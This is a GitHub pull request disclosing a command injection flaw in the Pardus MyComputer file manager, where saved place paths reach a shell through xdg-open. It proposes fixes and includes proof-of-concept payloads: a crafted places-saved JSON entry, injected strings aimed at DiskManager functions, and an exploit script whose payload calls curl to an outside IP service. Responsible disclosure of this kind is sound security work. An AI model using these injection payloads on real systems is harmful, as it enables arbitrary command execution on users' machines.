Skip to content

Conversation

@wraith4081
Copy link

The Pardus MyComputer application executes directory paths that the user has added to the “Places Saved” list directly in a shell command (xdg-open). A user-controlled JSON input (e.g. a record added to the places-saved file) can be used to inject malicious shellcode and execute an arbitrary command on the operating system when clicked.

Effect

  • Executing user-level code running the application with local user rights (Arbitrary Code Injection).
  • File creation, deletion, network requests or additional user commands can be executed on the system.
  • Risks of unauthorized data read/write, malicious script installation, service interruption or data leakage.

Technical Details

  • MainWindow.py in subprocess.Popen("xdg-open '{}' &".format(path), shell=True) call.
  • The use of shell=True and concatenated string leads to the execution of payloads like '; ...; # in path.
  • The application parses the JSON line inserted in places-saved and executes this code directly on click.

Attack Steps (Example)

  1. Add the following one-line JSON entry to ~/.config/pardus-mycomputer/places-saved:
{"path":"/tmp/fake'; touch /tmp/pwned; #", "name": "Exploit Test", "icon": "folder-symbolic"}
  1. The application restarts and the record named "Exploit Test" appears in the "Places" list.
  2. When the user clicks on this record, the file /tmp/pwned is created - the command injection is successful.

CVSS Guess

7.0-8.0 (AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

Proposed Solution

  • Call Shell commands with list arguments:
    subprocess.Popen(["xdg-open", path])
    Avoid the use of shell=True and concatenated strings.
  • Input validation and/or escaping: If directory paths are user-controllable, always implement shlex.quote() or similar safe escape functions.
  • Parse configuration files safely: Make sure to use real JSON format and avoid raw eval/repr like transformations.

These fixes will prevent user-controlled input from combining with a shell command to execute malicious code.

I also leave 2 sample codes for those who want to try:

1. test
import os
import sys

sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'src')))
from DiskManager import (
    get_uuid_from_dev,
    is_drive_automounted,
    set_automounted,
    get_filesystem_of_partition
)

bad = 'dummy; touch /tmp/pwned_uuid; #'
try:
    get_uuid_from_dev(bad)
except Exception as e:
    print(e)
print("UUID exploit created /tmp/pwned_uuid:", os.path.exists("/tmp/pwned_uuid"))

bad = 'dummy; touch /tmp/pwned_auto; #'
try:
    is_drive_automounted(bad)
except Exception as e:
    print(e)
print("is_drive exploit created /tmp/pwned_auto:", os.path.exists("/tmp/pwned_auto"))

bad = 'dummy; touch /tmp/pwned_fstab; #'
try:
    set_automounted(bad, True)
except Exception as e:
    print(e)
print("fstab exploit created /tmp/pwned_fstab:", os.path.exists("/tmp/pwned_fstab"))

bad = 'sda1"; touch /tmp/pwned_fs; #'
try:
    get_filesystem_of_partition(bad)
except Exception as e:
    print(e)
print("fstype exploit created /tmp/pwned_fs:", os.path.exists("/tmp/pwned_fs"))
  1. in-app test
#!/usr/bin/env python3
import os
import json
from pathlib import Path
from gi.repository import GLib

base_dir = "/tmp/fake"
os.makedirs(base_dir, exist_ok=True)
print(f"→ Created base dir {base_dir!r}")

vulndir = f"{base_dir}'; ip=$(curl -s ifconfig.me); mkdir -p /tmp/$ip; #"
print(f"→ Payload dir {vulndir!r}")

conf_root = Path(GLib.get_user_config_dir()) / "pardus-mycomputer"
if not conf_root.exists():
    conf_root = Path(GLib.get_user_config_dir()) / "pardus" / "pardus-mycomputer"
conf_root.mkdir(parents=True, exist_ok=True)

places_file = conf_root / "places-saved"
places_file.touch(exist_ok=True)
entry = {"path": vulndir, "name": "Fetch IP Exploit", "icon": "folder-symbolic"}
with open(places_file, "a") as f:
    f.write(json.dumps(entry) + "\n")
print(f"→ Appended exploit entry to {places_file}")

run:

chmod +x ./exploit.py
./exploit.py

@wraith4081 wraith4081 closed this by deleting the head repository Jul 27, 2025
@wraith4081 wraith4081 reopened this Aug 6, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant